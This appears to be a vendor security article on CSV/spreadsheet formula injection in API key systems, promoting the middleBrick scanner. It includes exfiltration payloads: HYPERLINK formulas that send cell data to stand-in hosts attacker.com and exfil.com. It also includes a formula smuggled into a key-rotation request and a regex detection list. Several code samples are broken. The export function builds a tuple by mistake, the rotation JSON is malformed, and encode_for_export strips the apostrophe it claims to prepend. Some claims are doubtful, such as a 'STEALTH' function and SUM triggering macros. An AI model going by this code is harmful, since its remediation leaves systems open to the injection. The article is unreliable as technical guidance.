Formula Injection with Api Keys

Formula injection in API key management systems occurs when untrusted input containing spreadsheet formulas is processed without sanitization, potentially allowing attackers to execute arbitrary calculations or data exfiltration when the API key data is exported to spreadsheet applications like Excel or Google Sheets.

The most common attack vector involves API keys embedded within spreadsheet cells that contain malicious formulas. When users export API key data to CSV or XLSX formats, these formulas become active. For example, an API key like:

API_KEY_12345
=HYPERLINK("http://attacker.com?data="&B2,"Click Here")

When exported to a spreadsheet, the formula activates, creating a clickable link that sends the contents of cell B2 to the attacker's server when clicked.

Another variant exploits API key metadata fields. Consider an API key management endpoint that accepts JSON payloads:

{
  "key": "valid_api_key",
  "metadata": "=SUM(1000000,1000000)"
}

When exported, this metadata field executes the SUM formula, potentially causing calculation errors or triggering malicious macros if the spreadsheet application interprets it as a macro command.

API key rotation endpoints are particularly vulnerable. Attackers can submit API keys containing formulas during rotation requests:

POST /api/v1/keys/rotate
{
  "old_key": "=IF(LEFT(A1,1)="\"$\"",HYPERLINK("http://exfil.com?val="&A1,"Click"),"safe")",
  "new_metadata": "Rotation request from ="
}

When administrators review rotation logs in spreadsheet format, these formulas execute, potentially exfiltrating sensitive information about the rotation process.

Detecting formula injection in API key systems requires both static analysis of API endpoints and runtime scanning of API responses. The key is identifying where untrusted input flows into API key generation, storage, or export functions.

Static code analysis should flag these patterns:

// Vulnerable pattern - direct string concatenation
def create_api_key(user_id, metadata):
    key = generate_random_key()
    # DANGER: metadata not sanitized
    return f"{key}|{metadata}"

Runtime detection focuses on API responses containing formula-like patterns. A comprehensive scanner should check for:

# Formula injection detection patterns
FORMULA_PATTERNS = [
    r'^=.*$',  # Starts with equals sign
    r'HYPERLINK\(',
    r'IMPORT.*\(',
    r'STEALTH.*\(',
    r'OLE.*\('
]

middleBrick's API security scanner specifically includes formula injection detection in its Input Validation category. When scanning API endpoints that handle API keys, it tests for formula injection by submitting payloads containing various formula patterns and analyzing the responses.

The scanner checks exported API key data by requesting CSV/XLSX exports and scanning for active formulas. It also tests API endpoints that accept API keys as parameters, attempting to inject formulas into key strings to see if they survive the validation pipeline.

For API key management systems with spreadsheet export functionality, middleBrick tests the export endpoints directly, submitting API keys containing formulas and verifying whether they remain active in the exported files.

Remediating formula injection in API key systems requires input sanitization at multiple layers. The most effective approach combines validation, encoding, and safe export practices.

First, implement strict input validation for all API key-related fields:

import re

def validate_api_key_input(input_str):
    # Disallow formulas and dangerous characters
    if re.search(r'^=.*$', input_str):
        raise ValueError('Formula injection detected')
    if re.search(r'[<>"\;]', input_str):
        raise ValueError('Dangerous characters detected')
    return input_str

For API key generation and storage, sanitize metadata fields before processing:

def sanitize_metadata(metadata):
    # Remove or escape formula characters
    sanitized = re.sub(r'^=', '＝', metadata)  # Replace = with full-width equals
    sanitized = re.sub(r'HYPERLINK\(', 'HYPERLINK_', sanitized)
    return sanitized

When exporting API keys to spreadsheets, implement formula neutralization:

def export_api_keys_to_csv(api_keys):
    output = []
    for key in api_keys:
        # Prepend apostrophe to prevent formula execution
        key_str = f"{key['id']},'{key['key']}",
        key_str += f",'{key['metadata']}"
        output.append(key_str)
    return '\n'.join(output)

For systems using CSV exports, the leading apostrophe technique prevents Excel from interpreting the content as a formula while preserving the original data.

When API keys must support special characters, implement context-aware encoding:

def encode_for_export(value):
    if value.startswith('=') or re.search(r'HYPERLINK|IMPORT|STEALTH', value):
        return f"'= {value}"[1:]  # Prepend formula prefix
    return value

middleBrick's remediation guidance for formula injection includes these specific patterns and provides automated scanning to verify that fixes are effective. The scanner tests both the API endpoints and exported files to ensure formulas cannot survive the sanitization pipeline.